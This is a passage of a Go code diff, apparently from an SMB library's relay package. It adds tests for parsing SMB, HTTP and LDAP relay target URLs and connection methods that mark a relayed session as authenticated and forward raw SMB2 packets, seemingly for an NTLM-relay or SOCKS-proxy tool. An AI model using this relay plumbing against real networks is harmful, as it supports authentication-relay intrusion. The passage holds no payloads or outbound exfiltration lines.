// ldapTargets returns the LDAP/LDAPS targets parsed from cfg.
|
||||
func ldapTargets(parsed []Target) []Target {
|
||||
return filterTargets(parsed, Target.IsLDAP)
|
||||
}
|
||||
@@ -0,0 +1,129 @@
|
||||
// MIT License
|
||||
//
|
||||
// Copyright (c) 2026 Jimmy Fjällid
|
||||
|
||||
package relay
|
||||
|
||||
import "testing"
|
||||
|
||||
func TestParseTarget(t *testing.T) {
|
||||
cases := []struct {
|
||||
in string
|
||||
wantProto Protocol
|
||||
wantHost string
|
||||
wantTLS bool
|
||||
wantPath string
|
||||
wantErr bool
|
||||
}{
|
||||
// SMB
|
||||
{"smb://host", ProtoSMB, "host:445", false, "", false},
|
||||
{"smb://host:1445", ProtoSMB, "host:1445", false, "", false},
|
||||
// HTTP
|
||||
{"http://host", ProtoHTTP, "host:80", false, "/", false},
|
||||
{"http://host:8080", ProtoHTTP, "host:8080", false, "/", false},
|
||||
{"http://host:8080/api", ProtoHTTP, "host:8080", false, "/api", false},
|
||||
// HTTPS
|
||||
{"https://host", ProtoHTTPS, "host:443", true, "/", false},
|
||||
{"https://host:8443/admin", ProtoHTTPS, "host:8443", true, "/admin", false},
|
||||
// LDAP
|
||||
{"ldap://host", ProtoLDAP, "host:389", false, "", false},
|
||||
{"ldap://host:3389", ProtoLDAP, "host:3389", false, "", false},
|
||||
// LDAPS
|
||||
{"ldaps://host", ProtoLDAPS, "host:636", true, "", false},
|
||||
{"ldaps://host:3636", ProtoLDAPS, "host:3636", true, "", false},
|
||||
// Mixed-case scheme is accepted (URL scheme is case-insensitive per RFC 3986)
|
||||
{"SMB://host", ProtoSMB, "host:445", false, "", false},
|
||||
{"HTTPS://host:8443/x", ProtoHTTPS, "host:8443", true, "/x", false},
|
||||
// Rejections
|
||||
{"host:445", "", "", false, "", true}, // bare host:port
|
||||
{"", "", "", false, "", true}, // empty
|
||||
{"ftp://host:21", "", "", false, "", true}, // unsupported scheme
|
||||
{"smb://", "", "", false, "", true}, // missing host
|
||||
{"://host", "", "", false, "", true}, // empty scheme
|
||||
{"smb://host:0", "", "", false, "", true}, // port = 0
|
||||
{"smb://host:65536", "", "", false, "", true}, // port > 65535
|
||||
{"smb://host:99999", "", "", false, "", true}, // 5-digit garbage
|
||||
{"smb://host:abc", "", "", false, "", true}, // non-numeric port (caught by url.Parse)
|
||||
}
|
||||
for _, tc := range cases {
|
||||
got, err := ParseTarget(tc.in)
|
||||
if tc.wantErr {
|
||||
if err == nil {
|
||||
t.Errorf("ParseTarget(%q) wanted error, got %+v", tc.in, got)
|
||||
}
|
||||
continue
|
||||
}
|
||||
if err != nil {
|
||||
t.Errorf("ParseTarget(%q) unexpected err: %v", tc.in, err)
|
||||
continue
|
||||
}
|
||||
if got.Protocol != tc.wantProto || got.Host != tc.wantHost || got.TLS != tc.wantTLS || got.Path != tc.wantPath {
|
||||
t.Errorf("ParseTarget(%q) = %+v, want proto=%s host=%s tls=%v path=%s",
|
||||
tc.in, got, tc.wantProto, tc.wantHost, tc.wantTLS, tc.wantPath)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func TestParseTargetsMixed(t *testing.T) {
|
||||
in := []string{
|
||||
"smb://10.0.0.1",
|
||||
"http://app01:8080/auth",
|
||||
"https://app02/login",
|
||||
}
|
||||
got, err := ParseTargets(in)
|
||||
if err != nil {
|
||||
t.Fatalf("ParseTargets: %v", err)
|
||||
}
|
||||
if len(got) != 3 {
|
||||
t.Fatalf("len=%d want 3", len(got))
|
||||
}
|
||||
if got[0].Protocol != ProtoSMB || got[0].Host != "10.0.0.1:445" {
|
||||
t.Errorf("smb entry = %+v", got[0])
|
||||
}
|
||||
if got[1].Protocol != ProtoHTTP || got[1].Host != "app01:8080" || got[1].Path != "/auth" {
|
||||
t.Errorf("http entry = %+v", got[1])
|
||||
}
|
||||
if got[2].Protocol != ProtoHTTPS || !got[2].TLS || got[2].Host != "app02:443" || got[2].Path != "/login" {
|
||||
t.Errorf("https entry = %+v", got[2])
|
||||
}
|
||||
}
|
||||
|
||||
func TestTargetFilters(t *testing.T) {
|
||||
all := []Target{
|
||||
{Protocol: ProtoSMB, Host: "a:445"},
|
||||
{Protocol: ProtoHTTP, Host: "b:80"},
|
||||
{Protocol: ProtoHTTPS, Host: "c:443"},
|
||||
{Protocol: ProtoLDAP, Host: "d:389"},
|
||||
{Protocol: ProtoLDAPS, Host: "e:636"},
|
||||
}
|
||||
if got := smbAnyTargets(all); len(got) != 1 || got[0].Host != "a:445" {
|
||||
t.Errorf("smbAnyTargets = %+v", got)
|
||||
}
|
||||
if got := httpTargets(all); len(got) != 2 {
|
||||
t.Errorf("httpTargets len=%d want 2", len(got))
|
||||
}
|
||||
if got := ldapTargets(all); len(got) != 2 {
|
||||
t.Errorf("ldapTargets len=%d want 2", len(got))
|
||||
}
|
||||
}
|
||||
|
||||
func TestParseTargetErrorMentionsSchemeRequirement(t *testing.T) {
|
||||
_, err := ParseTarget("10.0.0.1:445")
|
||||
if err == nil {
|
||||
t.Fatal("expected error")
|
||||
}
|
||||
// Error should hint that scheme is required so users migrating from the
|
||||
// old config style get a useful diagnostic.
|
||||
if msg := err.Error(); msg == "" || !contains(msg, "scheme") {
|
||||
t.Errorf("error %q does not mention scheme", msg)
|
||||
}
|
||||
}
|
||||
|
||||
func contains(haystack, needle string) bool {
|
||||
for i := 0; i+len(needle) <= len(haystack); i++ {
|
||||
if haystack[i:i+len(needle)] == needle {
|
||||
return true
|
||||
}
|
||||
}
|
||||
return false
|
||||
}
|
||||
@@ -89,6 +89,19 @@ func (c *Connection) disableSession() {
|
||||
atomic.StoreInt32(&c._useSession, 0)
|
||||
}
|
||||
|
||||
// MarkAuthenticated promotes a manually-driven SessionSetup to authenticated
|
||||
// state on this Connection. Intended for relay flows that drive
|
||||
// SendSessionSetup{1,2}WithToken/Blob themselves: after a successful upstream
|
||||
// SessionSetup2 the connection holds the negotiated SessionID, but the
|
||||
// in-process flags (isAuthenticated, authUsername, useSession) are unset
|
||||
// because the relay drove the exchange directly. Calling this finishes the
|
||||
// promotion so subsequent TreeConnect / OpenFile calls work normally.
|
||||
func (c *Connection) MarkAuthenticated(authUsername string) {
|
||||
c.authUsername = authUsername
|
||||
c.isAuthenticated = true
|
||||
c.enableSession()
|
||||
}
|
||||
|
||||
// Update the Initiator used for authentication.
|
||||
// Calling this function when already logged in will kill the existing session.
|
||||
func (c *Connection) SetInitiator(initiator gss.Mechanism) error {
|
||||
@@ -517,6 +530,73 @@ func (c *Connection) sendrecv(req interface{}) (buf []byte, err error) {
|
||||
return c.recv(rr)
|
||||
}
|
||||
|
||||
// SendRawPDU forwards an opaque SMB2 PDU (header + body) on this Connection
|
||||
// and blocks for the reply. The MessageID in the header is rewritten to this
|
||||
// Connection's next outbound id; signing / encryption are applied per the
|
||||
// connection's negotiated state. Intended for relay / passthrough use cases
|
||||
// (e.g. the SMB SOCKS proxy in relay/) where a PDU produced for one
|
||||
// connection must be forwarded over another. The caller owns translation of
|
||||
// any TreeID/FileID fields embedded in the body before/after this call.
|
||||
//
|
||||
// pdu must begin with the 4-byte SMB2 protocol id (0xfe S M B); a private
|
||||
// copy is made so the caller's buffer is left untouched.
|
||||
func (c *Connection) SendRawPDU(pdu []byte) ([]byte, error) {
|
||||
if len(pdu) < 64 || string(pdu[0:4]) != ProtocolSmb2 {
|
||||
return nil, fmt.Errorf("SendRawPDU: not an SMB2 PDU")
|
||||
}
|
||||
buf := make([]byte, len(pdu))
|
||||
copy(buf, pdu)
|
||||
rr, err := c.sendRawBytes(buf)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
return c.recv(rr)
|
||||
}
|
||||
|
||||
// sendRawBytes is the bytes-only twin of send: it skips the encoder.Marshal
|
||||
// step (caller has already produced the wire bytes) and lets
|
||||
// makeRequestResponse stamp the MessageID / signature / encryption in place.
|
||||
func (c *Connection) sendRawBytes(buf []byte) (*requestResponse, error) {
|
||||
c.m.Lock()
|
||||
defer c.m.Unlock()
|
||||
if c.err != nil {
|
||||
return nil, c.err
|
||||
}
|
||||
select {
|
||||
case <-c.wdone:
|
||||
return nil, nil
|
||||
default:
|
||||
}
|
||||
|
||||
rr, err := c.makeRequestResponse(buf)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
|
||||
b := new(bytes.Buffer)
|
||||
if err = binary.Write(b, binary.BigEndian, uint32(len(rr.pkt))); err != nil {
|
||||
return nil, err
|
||||
}
|
||||
|
||||
select {
|
||||
case c.write <- append(b.Bytes(), rr.pkt...):
|
||||
select {
|
||||
case err = <-c.werr:
|
||||
if err != nil {
|
||||
c.outstandingRequests.pop(rr.msgId)
|
||||
return nil, err
|
||||
}
|
||||
case <-c.wdone:
|
||||
c.outstandingRequests.pop(rr.msgId)
|
||||
return nil, nil
|
||||
}
|
||||
case <-c.wdone:
|
||||
c.outstandingRequests.pop(rr.msgId)
|
||||
return nil, nil
|
||||
}
|
||||
return rr, nil
|
||||
}
|
||||
|
||||
func (c *Connection) send(req interface{}) (rr *requestResponse, err error) {
|
||||
|
||||
c.m.Lock()
|
||||
|
||||
Reference in New Issue
Block a user